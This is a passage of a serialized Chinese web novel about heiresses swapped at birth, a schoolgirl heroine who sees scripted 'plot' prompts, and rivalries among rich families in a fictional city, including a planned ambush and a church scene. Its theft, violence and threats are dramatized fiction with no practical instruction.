周绮珊忍俊不禁,一一收列整齐,摸到最底下时还有个小盒子,大概只有手掌那么大。 会是什么? 周绮珊有些好奇,打开小盒子,里面有一封信和一张银行卡。 -【阿珊: 你现在开心吗?海上的风是自由的吗? 有件事我觉得不应该瞒着你,或许你已经猜到了,但我还是想亲口告诉你。你的信,是姜花衫帮你寄出去的,她真的很厉害。不过!这也不全是她一个人的功劳,还有我!我给了她一千万!她可真是个一毛不拔的花鲢貔貅。 你一定很好奇,我怎么会这么有钱吧?哈哈哈,因为我洗劫了爷爷的金库,金库密码是我的生日,小时候爷爷抱着我在书房办公无意看到的,那时候我就在想,以后要是他们敢凶我,对我不好,我就带着小金库离家出走。 哈哈哈哈! 很幼稚是不是? 你知道我为什么要偷钱吗?因为姜花衫说,一千万可以换一次逆天改命的机会,说来也奇怪,这么自大臭屁的话我竟然相信了,所以我一次偷了两千万。 我原本的计划是,一千万买你穿衣自由,一千万买我变成真千金。】 周绮珊目光微怔,脑子霎时一片空白。 -【看到这里,你一定吓坏了吧? 我也希望这只是一个玩笑,但不是! 阿珊,我不是苏家的女儿,我是被人恶意换去苏家的。我的生母来找我了,她是个很坏的女人,她威胁我,恐吓我,我很害怕,我不想失去现在所有的一切,所以我想让姜花衫帮我,帮我维持现状。 可是,那天我遇见了苏家真正的女儿,直视她的那一刻,我忽然就不怕了。 阿珊,等你回来的时候我可能就不是我了,我可能会住在很破的房子里,每天都被人欺负。 所以你一定要回来,要活着回来,要变得很厉害很厉害回来。 回来给我撑腰!】 读完信件,周绮珊的手一直在抖,抖的拿不动薄薄的一张纸。 泪水沾湿了信笺,沾湿了银行卡,沾湿了铁盒。 如果她提前告诉她事情的真相,她一定不会走,她会留下来陪着她度过最艰难的时刻。 她明明说她害怕,却把最后偷来的依仗全部都给了她,一千万买她自由,另外一千万现在也在她的手里。 “呜呜嗯……” 周绮珊已经泣不成声,像无助的小兽发出痛苦的悲鸣。 同寝的女生见状,小心翼翼放下抽纸,轻手轻脚退出了房间。 …… 第304章:西林区的祷告 咖啡小店。 “嗯嘛~”苏妙双眼紧闭,眉头紧锁,五官扭曲咽下喉间的冰美式,“啊!!好苦啊!!” 姜花衫觑眼斜睨她,实在没忍住起身对着苏妙的脑门就是一暴栗。 “你是不是有病?你这么搞万一把周绮珊的心态搞崩了怎么办?” 苏妙吃痛,捂着额头不服气道,“怎么会!我这不也是为了激励她?你以为313好混?稍不注意就要死人的!我不得让她时时绷紧着弦,好好保重自己?” “呵。”姜花衫被气笑了,“周绮珊有你,真是她的福气。” 苏妙有些心虚,赶紧转移话题,,“不说这个,我今天约你出来是有事和你商量。” 姜花衫对刚才那事还耿耿于怀,不冷不热,“什么事?” 苏妙左右看了看,压低了声音,“关于我身份这件事,我有个新思路想跟你探讨探讨。” 姜花衫,“探讨什么?” 苏妙,“我觉得吧,我不该把事情想的太悲观了,就算我不是苏家的女儿,他们对我肯定也是有感情的!苏家这么有钱,不至于亲女儿进门就不要养女了。” 姜花衫上下打量了一眼,“怎么想通的?” 苏妙嘿嘿笑了两声,“还不是多亏了你,你看,你不也是养女吗?你妈妈不也不靠谱吗?你不还是过的挺好的?所以我也应该乐观点。” “……”姜花衫一时不知到底是该夸她还是该抽她。 苏妙握拳,又吸了一口咖啡,“我打算先想办法跟苏韵成为朋友,只要有我在,没人敢欺负她,过段时间等关系缓和了,我就跟爷爷坦白。” 真假千金握手言和? 姜花衫淡淡瞟了一眼苏妙的头顶,受标签和剧目的影响,只怕没这么容易。不过苏妙能有这个心思也算好事,不妨先让她尝试一下,也算小小的突破。 念此,姜花衫也没有过多干预,站起身,“你自己的人生自己想清楚就好。” 苏妙不满,“就这?不探讨探讨?” 姜花衫摊手,“探讨?行,转账吧。” 苏妙脸色微变,“我都沦落到当小偷了,哪还有钱给你?” “这就是你的问题了。”姜花衫忽然想到什么,眼神意味深长,“对了,温馨提醒你一下,两千万的漏洞不小,你爷爷应该很快就会查到你身上,所以……留给你的时间不多了。” 苏妙咬了咬吸管,没好气,“不用你说。” 既然她敢偷,就已经做好了被揭露的准备。 “行。”姜花衫摆摆手,转身出了咖啡店。 * 路边,高止一直站在车外等,见姜花衫出来立马迎了上去。 “姜小姐。” 姜花衫原本打算四处转转,高止冷不丁出现让她有些意外,“你怎么在这?沈兰晞也来逛平民街?” 为了掩人耳目,苏妙特意约了一家素人咖啡店,周围的环境与鲸港CBD富人区没得比,在姜花衫的理解里,沈兰晞这种太子爷应该连这种街道的存在都不知道。 高止,“少爷让我跟着您,负责您的安全。” 姜花衫皱眉,“沈兰晞要你跟踪我?” “……”高止面无表情,心里却是一万只土拨鼠在咆叫,我刚刚是这么说的吗? “是负责您的安全。”屎难吃,钱难挣,他只能又重复了一遍。 “负责我的安全?”姜花衫的表情错综复杂。 不是吧?沈兰晞什么时候改人设了?明明以前刻薄又冷血,现在怎么会关心人了? 她有点不信,摆摆手,“不用了,你回去吧,我还想再逛逛。” 高止随意往四周扫了一眼,就一眼,他起码看见有三个男人有意无意在偷看姜小姐,还有个猥琐胖子拿着手机想偷拍。 沉默片刻,高止态度恭敬,“姜小姐稍后,我先请示少爷。” 说罢,不等姜花衫反应,高止转身走回车里,拨通了沈兰晞的电话。 “少爷,姜小姐在外招蜂引蝶还不准我跟着。” 片刻后,高止下车,把手机递给姜花衫,“姜小姐,少爷的电话。” “……”姜花衫不情不愿拿过电话,“喂?” 沈兰晞,“高止必须跟着。” 姜花衫抗议,“我不喜欢有人监视我。” “这不是监视,如果你不喜欢高止我可以换个人,但必须有人跟着。” 姜花衫最不喜欢的就是沈兰晞这种不近人情的命令口吻,生气道,“必须必须,什么都是必须?都说了我不喜欢还必须,这么在意我的安全,你怎么不来盯着?” 沈兰晞愣了愣,还没反应过来电话就被挂断了。 姜花衫斜睨高止,高止小心翼翼,“要不,换少爷来?” 不中用的少爷,闯祸还得别人兜底。 “不许跟着我。”姜花衫瞪了高止一眼,把手机扔给她,转身往对面马路走去。 这段时间,她一直有意无意挑衅傅潇潇,为的就是刺激傅潇潇从而触发买凶暗算的剧情。 高止要一直这么盯着她,傅潇潇哪有机会? * 西林教区。 教堂内。 赵棠态度亲昵拽着苏韵的手,“阿韵,你好厉害啊,我从来没有见过韩神父这么欣赏一个人?你真的不考虑入会吗?机会难得,有韩神父指引,说不定你真的可以做主教的真徒。” 苏妙看着身边一脸虔诚的信众,小声道,“小棠,你知道的,我对教会真的不感兴趣。” “好吧。”赵棠也没有勉强,“那你在这等我一下,我去拿点资料,马上就回来。” 苏妙站起身,表情窘迫,“我忽然有点想上厕所。” 赵棠下意识看了看腕间的电子表,眼神微动,“要不我陪你一起去吧,正好,我也想上。” “好。” 两人从阶梯木凳起身,穿过祈祷的信徒,往门外走去。 不远处,两扇黑色的拱形大门透着微弱的熹光,这是这座教堂连接外界的唯一出口。 苏韵走在前面,背对着赵棠,赵棠看着眼前的背影,心跳如麻。 “轰——” 两人一前一后刚走到门口,教堂钟声突然响起。 赵棠咬牙,从背后伸出魔鬼的恶爪。 对不起了,阿韵。 就在她的手掌刚刚要碰到苏韵的肩膀时,眼前的人突然侧身,避开她的同时用力将她推下了台阶。 两人目光短暂交汇。 一个杀伐果决,一个错愕惶恐。 “轰——” 又一声钟响。 大门缓缓关闭。 苏韵转身像光隙奔跑,在黑暗即将吞噬光亮的前一秒,她回到了有光的世界。 “不!” 赵棠趴在地上,发出绝望的尖叫。 …… 第305章 新猎物 “怦——怦——怦” 苏韵用力捂着心口,感受着绝望和仇恨的侵蚀。 “轰——” 最后一道钟声落下,教堂里唱起了赞词。 这时,头顶落下一道阴影。 “做的不错。” 苏韵表情微愣,立马抹去眼底的眼泪,抬起头。 周宴珩双手插兜,嘴角噙着温和的笑,英俊的脸色带着几分漫不经心的赞许,“说说看,亲手将自己的好朋友送进地狱是什么感觉?” 苏韵指尖紧握,直直对上周宴珩的目光,“痛苦、痛快。” 周宴珩很满意她的回答,决定给她一点奖励。 他笑了笑,抬手摸了摸苏韵湿润的眼角,“很好,看样子你马上就合格了。” 合格做他的猎物了。 苏韵抿了抿嘴角,有些羞怯低下头。 周宴珩垂眸,指尖顺着脸颊往下一把扣住她的下巴,声音没有征兆冷了下来,“关鹤是怎么回事?” 苏韵眼神有些慌乱,抖着声音解释,“那是个意外,我不知道那天车里的人是他。” 换车的确是他临时起意,这么解释也算说的通。 周宴珩淡淡松开牵制,略带警告,“自己处理好。” 苏韵点头,见周宴珩转身要走,来不及多想一把抓住他的胳膊,“周少爷,你能不能带我一起走?” 西林区都是教会的人,如果不跟着周宴珩她担心中途会有意外。 周宴珩冷漠抽回手,眼带笑意,“很遗憾,不行,因为安全出去也是我对你的考验。” 苏韵脸色微变,泫然欲泣拽着周宴珩的衣角,“不要,求求你。” 周宴珩盯着苏韵的脸打量了片刻,从风衣口袋拿出一把黑色手枪,“看在你表现不错的份上,我再给你一条路走,这里一共有17发子弹,如果你能射杀超过十个人,给我打电话。” “……” * 鲸港CBD富人区。 某暗巷。 一群男人叼着烟围坐在角落,为首的老大光着臂膀,右胳膊纹着一只凶猛的下山虎。 花臂男满脸横肉,“东西带到来了?” 年轻男子将手里的资料丢给花臂男,“定金和照片都在里面,傅小姐说了,必须要往死里整,但别玩死了。” 花臂男接过资料丢给身后的小弟,小弟拆开资料的瞬间咽了咽口水。 “屮,这妞长得也TM太带劲了!” 小弟的话引起了其他人的注意,纷纷上前围观,看完以后一群人都兴奋了。 “这TM不给钱老子也赚了。” “这么邪乎?”花臂男抬手,小弟立马递上照片。 “屮!” 花臂男眼里的贪恋和色心立马被勾了出来。 年轻男人见状,得意笑了笑,“大家满意就好,这件事要办好了,后面多的是好处。” 花臂男摸了摸下巴,警惕打量男人,“我的规矩你是知道的,这妞什么来历?” 年轻男人眼露不屑,“你管她什么来历?有傅小姐作保怕什么?你要不敢做直说,这笔买卖多的是人排队。” 身后的小弟见老大还在犹豫,生怕到嘴的天鹅肉吃不着,赶紧跟着一起游说。 “老大,他说的对,这可是笔划算的买卖,有傅小姐撑腰咱们还怕什么?这鲸港城有几家能大过傅家去?” “是啊,老大!这买卖怎么看都是赚。” 花臂心中早已经动摇,面上却假装为难,“德才安防太高,我们这样的肯定混不进去,这事不好办。” 男人,“这就不用你们费心了,你们只需要关键时候多出力就可以了。” 话音一落,人群里响起猥琐地哄笑声。 五分钟后。 男人七弯八绕走出暗巷,富人区的街道到处都是金钱的味道。男人径直走进一家高级鲜花店。 傅潇潇正坐在沙发上刷手机,消息界面刷新了无数次,周宴珩依旧没有回复。 男人走上前,态度恭敬,“傅小姐。” 傅潇潇强忍住心中不快,冷声,“事情办好了?” 男人点头,“已经办好了,只要把人骗进来,这件事就跟咱们没有关系了。” 傅潇潇眼中的不快顿然消散,从包里拿出一沓厚厚的信封,“事情办好了,加倍。” 男人谄媚笑了笑,弯腰接过信封,“以后还请傅小姐多多关照。” “知道了。”傅潇潇一脸厌烦摆摆手,“你先走吧。” “是。” 男人将信封塞进内衬口袋,转头出了花店。 傅潇潇越想越得意,随手摘下一朵粉色玫瑰用力揉搓。 姜花衫那个贱人,刚进育才的时候不过是她身边的一只狗,现在却处处压她一头,不好好教训她,实在难解心头之气。 “贱人!等着瞧吧,这次我一定会把你欠我的全部要回来,哈哈哈哈哈!” “笑什么呢?花店都要被你笑倒了。” 正开心,对面冷不丁坐下一个人。 “!”傅潇潇瞬间卡壳,吓得直接从沙发上跳了起来,“你……你怎么会这里?” 姜花衫单手托腮,“我在附近逛街啊,不逛不知道,原来鲸港中心离海湾区还挺近的,从旁边的巷口步行十几分钟就到了。” “谁问你这个了?”傅潇潇捂着胸口,神情紧张看向门口。 该死!姜花衫什么时候来的?不会听见她的计划了吧? 姜花衫盯着她,“你这么紧张做什么?” 傅潇潇下意识否认,“你有病吧?哪只眼睛看见我紧张了?” 姜花衫笑了笑,“是吗?可是我刚刚分明看见你跟一个男人在说话,你们说什么?该不会是商量怎么报复我吧?” 竟然看见了!?姜花衫的眼神让傅潇潇心里发麻。 “神经病!” 为免姜花衫看出什么,傅潇潇一刻都不敢停留,急冲冲跑出了花店。 姜花衫扯了扯嘴角,慢悠悠拿出手机。 就在三分钟前,沈归灵传来了苏莉的全部资料。 十七年前,那个女人偷渡来到鲸港,一年后在圣母医院诞下女婴。资料显示苏莉因付不起医疗费,产后当夜从圣母医院逃离。 逃离后的苏莉就像人间蒸发了一样完全失去了踪迹,再次出现又一年后。 有趣的是,她忽然从一个偷渡黑户变成了鲸港土著居民,并有了现在这个名字,苏莉。 资料里还提到,苏莉带着女儿在旧城棚户区生活了十六年,这期间一直靠赌博为生。 其中她的银行账户每个月都有固定一笔收入,每次汇入的金额不定,但这其中最让姜花衫震惊的是,十六年,上百个子账户,最后追溯的源头竟然全部指向傅家。 结合所有的信息点,姜花衫忽然意识到自己可能发现了一个巨大的阴谋:真假千金的剧情极有可能是有人精心谋划了的杀局。 如果真是这样,只怕是没时间让苏妙慢慢感化苏韵了。 …… 第306章 威胁、选择 南湾,政府大楼。 沈归灵魂不守舍,指尖有一下没一下点着手机屏幕。 姜花衫为什么要调查这个叫苏莉的女人? 一个偷渡的女人怎么又会跟傅家扯上了关系? 直觉告诉他,这件事绝对不简单。 他来回划动着两人的聊天界面,看似漫不经心,实则计较的不行。 文件显示半个小时前已经接收了,但到现在一条信息都没有,这是连敷衍他的力气都省了? “砰——” 蓦地,一声巨响,办公室的门被人从外面撞开。 “姚局长留步!” 沈归灵抬头,姚勇伟已经不顾莫然阻止冲到了他的办公桌前。 不同于上次的意气风发,眼前的男人眼神疲惫,胡子拉碴,一夕间老了十岁。 沈归灵眼神温和,“姚局长这是怎么了?” 姚勇伟眼底猩红,死死看着眼前的少年,“沈归灵,我们跟着沈先生打江山的时候你他娘的还不知道在哪?现在就开始卸磨杀驴,是不是有点太心急了?沈先生难道就不怕一群老臣寒心吗?” 莫然如同局外人,默默关上门守在门边。 沈归灵双手交叉靠着桌面,语气平和,“姚局长这话是什么意思?我听不懂。” “你少他妈的给老子装蒜!沈归灵,你以为你扣住阿江就可以拿捏我了?我告诉你,南湾的水深的很,别弄不好淹死了自己。” 沈归灵笑了笑,“姚局长说的不错,南湾的水的确太深了,所以才更需要好好治理。” 姚勇伟自是听出了沈归灵的言外之意,但一个乳臭未干的小子他还根本不会放在眼里,仗着是姚歌的直系姻亲,姚勇伟拿起桌上的资料对着沈归灵砸了过去。 莫然抬步,正欲上前,沈归灵微微偏头,资料擦着他的耳边重重砸在玻璃窗上。 “小子,论关系,你还得尊称我一声世伯,看在沈先生的份上我最后警告你一次,年轻人想出头是好事,但太过急功近利必遭反噬。” 沈归灵情绪稳定,礼貌颔首,“多谢提点。” “……”姚勇伟眼中的杀机一闪而过,“走着瞧。”说罢,转身一脚踹开房门,大步走了出去。 莫然默默看了沈归灵一眼,小心走到办公桌后收拾散落的文件。 这时,桌上的电话铃响了。 沈归灵看了一眼来电,不急不慢拿起听筒,“爸。” “姚勇伟又去找你麻烦了?” 沈归灵,“毕竟事关他的亲生儿子,姚局长失了分寸也在情理之中。” “愚不可及。” 沈归灵垂眸,眼神平静。 的确愚蠢,为了自己的儿子就敢来为难上司的儿子,哪怕他是个野种,沈谦也不会允许这种事发生。何况,是现在的他早已不可同日而语。 “爸,姚江的事要不要我去跟羁押所打声招呼,姚局长现在情绪不稳,我担心他会做出什么激进的事。这些年南湾大大小小的事他都清楚,万一……” 沈谦语调平静,“阿灵,你记住,上位者绝不允许威胁存在。” * 入夜。 城市亮起霓虹。 沈韵浑身颤抖游走在繁华的大街上,人潮喧嚣她却感受不到任何温暖。 不知走了多久,她感觉有些累了,正巧前面一家面馆在做周年庆半折促销,苏韵想也没想走了进去。 她不饿,但她知道自己必须吃点东西,于是点了份招牌牛肉面,选了个最隐蔽的角落便对着窗外发起了呆。 周宴珩给了她十七发子弹,她最终一枪都没有开,躲在教会的垃圾房熬到了天黑。 早知道这样,她不该去招惹周宴珩的。 当初萧澜兰来育才拍戏,她因为帮赵棠出头被萧澜兰记恨当众刁难,虽然后来沈眠枝替她解了围,但还是没有解决她的困境。 摄影组有人看出了她的伪装,趁她不注意强行将她拖进没有人的教室企图不轨,因为常年防备苏莉,她有随身带辣椒水的习惯,所以男人没有得逞,反而差点被她弄瞎了眼睛。 也是那次,她遇上了周宴珩。 后来,因为害怕苏梨会对自己不利,她思来想去决定给自己找一个靠山,于是,她主动进入了周宴珩的猎杀区。 周宴珩很满意她的脸,但也仅限于脸。所以,他开始有意无意地驯化她,虽然她知道这是一条不归路,但她没得选,她只能与虎谋皮。 那晚,原本那个男人还有一口气,她打电话向周宴珩求助,他却告诉她斩草要除根。 还有赵棠,如果不是周宴珩告诉她,西琳教区里藏着什么,她无论如何都不敢相信一起长大的朋友会如此狠毒。 苏韵低头,指尖细细摩擦着藏在口袋里的手枪。 当初没得选,因为她以为自己只能靠攀附自救,但现在不一样了,她是苏家大小姐,只要拿回身份她还可以回到从前。 念此,苏韵眼底闪过一丝决绝,神情麻木拿出手机,拨通了烂熟于心的电话号码。 “喂,苏小姐吗?” 苏妙听出了她的声音,“你是苏韵?” 苏韵酝酿着情绪,声音哽咽,“苏小姐,很抱歉这个时候打扰你。因为……我实在是不知道该怎么办了?我……” 苏妙的声音也急了,“你现在在哪?” 苏韵吸了吸鼻子,磕磕绊绊说出了面馆的位置。 半个小时后,一辆出租车停在面馆门口,苏妙抱着一件羽绒服从车里走了下来。 苏韵看着她一路奔跑,直到店门玻璃晃动,才慢慢垂下了眼。 …… 第307章 各自抗争 苏妙在店里找了一圈,最后在不起眼的角落找到了苏韵。 她什么都没想,冲上前一脸紧张,“怎么了?发生什么事了?” 苏韵缓缓抬眸,眼里全是泪水,“我……杀人了。” 苏妙脑子顿时一片空白,她被苏家保护的很好,杀人这种事对她来说就像是另外一个世界的产物。 苏韵情绪崩溃,捧着手里糊成团的面条,“但是我不想,是她逼我的,怎么办?我好害怕……” 苏妙从包里拿出纸巾,“别怕,你慢慢说。” 苏韵看着她递来的面纸,眼里的挣扎几乎要将她撕碎。 面馆里的纸巾又硬又薄,苏妙手里的纸却软得像丝巾,连香味都格外不同。 这些东西原来就该是她的!该在泥泞里挣扎的应该是苏妙,她抢走了她的一切。 仇恨、嫉妒让她疯狂,可是仅存的理智又拉住了她。 苏妙或许并不知情,她只是受益者却非酿成悲剧的原凶,起码迄今为止,她并未真的伤害过她,苏莉说的那些话也未必都是真话。 起码…她一个电话,她就出现了。 苏韵闭眼,接过苏妙递来的纸巾,将赵棠的事从头到尾说了一遍。 苏妙越听越心颤,她根本不敢想象当时的苏韵该有多绝望? 苏韵看着她,无悲无喜,“苏小姐,教会的人一定不会善罢甘休, 我的母亲也不要我,你说,我还有活路吗?” 苏妙点头,“有。” 只要把苏家大小姐的身份还给她,她就能活下去。 她补充说道,“这个星期六是我的生日,你来苏家找我,我告诉你路在哪里。” 苏韵涣散的眼眸微微亮起一丝星光,“真的吗?” “真的。” * 接下来的几天,姜花衫忙的脚不沾地。 既要去医院维系嫡长闺的身份,又要暗地跟踪傅家和苏莉的关系,还得预防傅潇潇设下的杀局,一套连招下来险些连【懒】都保不住了。 学校的生活一如往常。 周五下午。 姜花衫收拾书包准备回家,傅潇潇突然拦住她的去路。 “姜花衫,你我之间的恩怨也应该解决了吧?” 姜花衫久候多时,没等傅潇潇把精心准备好的台词说完,她像赶场子似的点头,“说的对,你想怎么解决?” 傅潇潇,“明天我在城南咖啡馆等你,你敢不敢来?” 姜花衫,“时间。” “你要是不敢来,以后在学校看见我……”傅潇潇一愣,她是不是空耳了?这贱人刚刚说什么? 姜花衫直接扣流程,“具体时间。” 傅潇潇心里说不出的别扭,“……下午三点。” 下午三点? 姜花衫细细回忆了一下,她明明记得上一世事情发生在上午十点,难不成因为蝴蝶效应,所以时间出现了偏差? 思忖了片刻,姜花衫摆摆手:“下午没空,改上午十点。” “……”竟然还有人上吊嫌晚的?傅潇潇求之不得,“行,就这么说好了!不来的是孙子!” 姜花衫挥手作别。 * 翌日。 冬日放晴,久违的阳光照亮了暗巷的阴冷角落。 少女坐在斑驳的镜子前,褪色的梳齿在油黑的发丝中轻轻划过,厚重的刘海向后梳拢露出光洁饱满的额头。 很快,镜子里出现了一张容貌绮丽的俏脸。 苏韵对着自己看了许久才起身走向衣柜,她的衣服少的可怜,除了校服也就两件换洗的冬衣,可即便这样,她还是认真挑选了很久,因为今天是个重要的日子,她不想失礼。 一切准备就绪,苏韵轻轻推开破败的房门,阳光顷刻间洒下,落在她带着笑意的脸上格外温暖。 苏莉听见煤房有动静,立马从窗下探出头来,“大清早的,你又死哪去?” 苏韵收敛笑容,“这学期的奖学金下来了,老师让我去学校填资料。” 闻言,苏莉也没有阻止,“弄完就赶紧回来,家里还有一堆事。” “知道了。” 苏韵语调平静,没有回头。 * 苏宅。 为了庆祝苏妙的生日,苏家早在一个月前就安排好了装置布景团队,紧锣密鼓布置了三天,眼下整个苏宅仿佛置身童话世界的公主城堡。 房间里,苏妙仪式感满满,十分郑重地与每个玩偶拥抱道别,眼看时间差不多,她抬头挺胸走出了房间。 刚下洋楼,就看见苏灼穿着一身帅气黑西装,驾着南瓜马车朝她招手,苏妙顿时眼眶一热,“哪来的马车?” 苏灼摸了摸她的头,“爷爷悄悄准备的,喜欢吗?” 为了这次的生日宴,苏敬琉特意请能工巧匠打造了一辆纯金琉璃南瓜马车,耗费的财力暂且不说,光是匠人的打磨时间就花了整整八个月,连拉车的马都是血统高贵的阿拉伯马。 苏妙点头,“喜欢。” 她上前摸了摸马背,眼神落寞,喜欢也没用,马上就不是她的了。 主厅里摆放着一个三米高的草莓蛋糕,上面的每颗草莓都是苏敬琉亲自挑选的,包甜。 苏妙跟着苏灼进屋,不管是苏家阿姨还是管家,都笑眯眯跟她打招呼。 “小姐,生辰快乐。” 苏敬琉精神气十足,笑着招手,“看,这是爷爷给你弄的蛋糕。” 苏妙一眼就看见了比房子还高的蛋糕,得亏她家房子够高,不然蛋糕都放不下了。 蓦地,她心里咯噔了一下,默默纠正,很快就不是你家了。 苏母上前拉着她的手,眼里满是慈爱,“妈妈给你做了长寿面,吃点?” 苏妙点头。 唉,以后就要叫苏阿姨了。 苏母,“今天请了几个朋友啊?妈妈让人准备准备。” 苏妙打起精神,“就请了一个。” “一个啊?”苏母拍手叫好,“我们妙妙真厉害,这么快就交到新朋友了。” 主厅里气氛融洽,苏管家笑着走进大厅,“老爷子,小姐的客人到了。” 苏妙一脸紧张,“在哪?” 苏管家,“正在领着过来的路上。” 苏妙想了想,转头看向苏敬琉,“爷爷,您先坐,我带她来见您。”说罢,快步出了大厅。 * 另一边,姜花衫特意换了一身黑色外套,肩挎着粉色双肩包,头戴粉色鸭舌帽,单刀赴会。 入咖啡店前,她再次检查手机信息,这才发现三分钟前苏妙给她发了一条消息。 【我的命好苦:今天我生日,但是蛋糕就不请你吃了。】 姜花衫微微一愣,指尖快速输入。 【关你peaCe:生日快乐,小垃圾。】 按灭手机塞进裤兜,姜花衫深吸一口气,准备与十六岁的噩梦做个了结。 …… 第308章 喜欢的人 “铃——” 玻璃门上的铃铛发出一声脆响,咖啡店员的女生立马笑着迎上前。 “欢迎光临,请问是姜小姐吗?” 姜花衫点头,正要开口,店员指向店里的唯一一桌客人,“那位客人已经等您很久了哦。” 顺着店员手指的方向看去,姜花衫目光一怔,表情错愣。 沈兰晞? 她走上前,左右看了看,“你怎么会在这?还……还喝袋冲咖啡?” 沈兰晞端杯的手微微一愣,优雅放下,“我为什么不能在这,不是你说要我盯着?” “……我什么时候……我是这意思吗?” 越想越不对劲,姜花衫眯眼斜睨对面的少年,“傅潇潇呢?” 沈兰晞看了她一眼,“她来不了。” 这话的信息量太大了,姜花衫心里五味杂陈,她忽然发现自己好像一点都不了解沈兰晞。 “你做了什么?” 沈兰晞神情淡淡,“没什么,就稍微警告了一下。” * 暗巷角落,高止摘下带血的手套,脚下横七竖八躺着十几个男人。 花臂男跪在满是血水的石板上,眼神惊恐浑身抽搐。 不多时,巷口传来一阵脚步声,一群黑色西装暴徒走了进来。 “救命!救命!” 花臂男眼底忽然迸发出生机,手脚并用爬向那群人,“我年年上贡,求堂主庇护。” 沈家暗堂在鲸港有十二个分堂,每个堂口对应鲸港十二区,一般的小混混为了得到庇护都会主动上贡,所以在沈家暗堂的保护区域,黑吃黑是绝对不被允许的。 花臂男并不知道高止的底细,只当他是哪个仇家派来的打手。 高止单挑眉梢,眼神比刀锋还锐,“滚。” 西林区堂主表情恭敬,“高爷,眠枝小姐说了,处理垃圾我们比较在行,不必脏了高爷的手。” 高止扫了一眼地上的手套,低头戴上墨镜,“少爷不想在鲸港再看见他们。” 西林堂主弯腰恭送,“明白。” 花臂男只觉五雷轰顶,一下失去了所有力气栽头倒地。 “啊啊啊啊啊!!!!” 就在他倒下的瞬间,高空忽然出现一架直升机,上面吊着一个浑身赤裸的女人,暗巷的楼间距很窄,飞机一闪而过,但花臂男还是一眼认出那个女人是谁。 连傅家都护不住,这是天要塌了?! * 苏宅。 苏韵足足走了二十分钟。 一路走来雕梁画栋、怪石名树应接不暇,就在她惊叹于沈家的泼天富贵时,却被告知这只是苏家的供佣人阿姨休息的外园。 苏韵心里的热忱不由冷了几分,苏妙不是邀请她来参加生日会的吗?为什么要让她从佣人外院进来? 还是说,大家族的规矩就是如此? 苏韵有些不安,原本十分的期待多了两分忐忑。 过了外院,地势豁然开朗,不远处苏妙正站在一尊石狮子前等着她。 苏韵有些局促整理衣襟,小步跑上前,眼里满怀期待。 “苏小姐,我刚刚路过蛋糕店的时候看见这个小猫蛋糕很可爱,我觉得你一定会喜欢,谢谢你邀请我,祝你生日快乐。” 苏妙嘴角扬着笑,抬手,一巴掌拍下蛋糕。 苏韵脸上的笑容瞬间僵住,不知所措看着她,“苏小姐……” 苏妙双手抱胸,“你还真是天真,我随便说一句你就眼巴巴来了。走吧,这里是我家,我不欢迎你!” 苏韵看着脚下碎裂的蛋糕,恍了很久,点了点头,“好,我知道了。” 她没有再看苏妙一眼,转身往回走。 苏管家虽有些疑惑苏妙为何这么反常,但作为看着苏妙长大的老人,他自然是无条件向着苏妙。 “小姐,咱们进去吧。” 苏妙看着小猫蛋糕七零八碎的脸,眼神渐渐变得荒凉。 许久后,她开始喃喃自语:“我怎么能这么恶毒?我怎么能这么自私?我怎么能对她说出这么残忍的话。” 苏妙摇头,她不敢相信刚刚那个人是自己。 “妙妙?你怎么 了?” 苏灼被苏老爷子催着出来查看情况,刚到门口就看见苏妙神情恍惚自言自语。 苏妙一把抓着苏灼的手,“哥,刚刚那个人,她是你妹妹!她是亲妹妹!!!” 苏灼好笑,摸了摸苏妙的额头,“说什么傻话,我的妹妹是你。” “不是我!”苏妙忽然崩溃,“我去找她,我去找她。” 苏韵是来求一条活路的,她刚刚那些话会逼死她的。 苏妙一把推开苏灼,转头向外跑去。 * 咖啡店里播放着舒缓的英文情歌,姜花衫百无聊赖搅弄着咖啡。 到底是哪里弄错了? 难不成因为傅潇潇作恶的剧目不是什么重要剧情,所以情节跳过了? 沈兰晞见她魂不守舍,主动开口,“喝完咖啡待会去哪?” 姜花衫抬头看着他,正要开口…… 【叮——】 【当前人物苏妙,随意撕毁人物标签,剧目惩罚:立即抹杀!】 “哐当——” 姜花衫指尖松开,勺子撞击杯底发出清脆的响声。 忽然间,被裹挟的窒息感再次涌来,她仿佛掉入了冰冷的海底,身子一直往下沉。 不行! 不能睡,她要是睡过去,苏妙会没命的。 虚妄静止中,她奋力向上游,即使黑水里没有光影,没有世界,没有观众,她也依旧不曾妥协。 姜花衫,醒过来! 【叮——】 潮汐退散,世界重归秩序。 姜花衫看着咖啡杯里动荡的黑水,意识瞬间回笼。 她抬起头,先看了手机一眼,在确认时间只过去一分钟后,站起身,“沈兰晞,我们一起去个地方?” 【叮——】 【世界剧目规则四:本世界剧情不接受除剧目之门以外的任何力量更改。】 沈兰晞指尖轻轻划过杯沿,看着她,“我们,去哪?” “……” 狗剧目。 骑虎难下,姜花衫来不及多想指着隔壁的花店,“你先去隔壁买束花,回来告诉你。” 沈兰晞顺着她手指的方向看了一眼,“别乱跑。”说罢,起身出了咖啡店。 等人走后,姜花衫二话不说戴着上帽子背上背包匆匆离开。 “请问,您需要买什么花?” 沈兰晞站在花架前,透过花店玻璃,静静看着姜花衫越跑越远。 女店员十分热情,“或者您可以告诉我是送给什么人?我们可以帮您搭配。” 沈兰晞转头看向店员,神色疏离,“喜欢的人。” …… 第309章 杀局 从苏宅出来,苏韵沿着来时的路走了许久。 来时她迎着冬阳,全身上下都觉得温暖,回时她逆着光,没有一刻不觉得冰冷。 她走了许久,又路过了那个蛋糕店。 苏韵停下脚步,隔着橱窗与举着爪子的小猫蛋糕对视。小猫还是一样可爱,憨态可掬。 沉默了片刻,她推门走进店里。 “你好,给我拿一个小猫蛋糕。” 店员记得这个漂亮的女孩儿,热情道,“需要我给您多放几副刀叉吗?” 苏韵,“不用,我一个人。” 生日蛋糕怎么一个人吃?店员不好多问,笑着点头,“好的,这边扫码,我现在给您打包。” 苏韵从口袋里拿出叠放整齐的现金,“不用打包,我在这吃。” 店员愣了愣。 苏韵看着她,“怎么了?很奇怪吗?” 店员赶紧摇头,“不是,请稍候,那边有座位,我给你提过去。” 苏韵没有说话,转身朝卡座走去。 过了一会儿,店员端上蛋糕,小心看了苏韵一眼又端上一杯热腾腾的奶茶,“今天店里做活动,买蛋糕送奶茶。” 苏韵点头,“谢谢。” 店员也没再说什么,重新回到工作岗位忙碌了起来。 苏韵神情麻木撕开包装,拿出塑料叉挖去小猫眼睛,张嘴吃了下去。 如此反复,一勺接着一勺,速度越来越快,直到感觉自己的情绪绷不住了才淡淡喝了一口奶茶。 “嗡——嗡——嗡——” 这时,口袋里的手机发出震响。 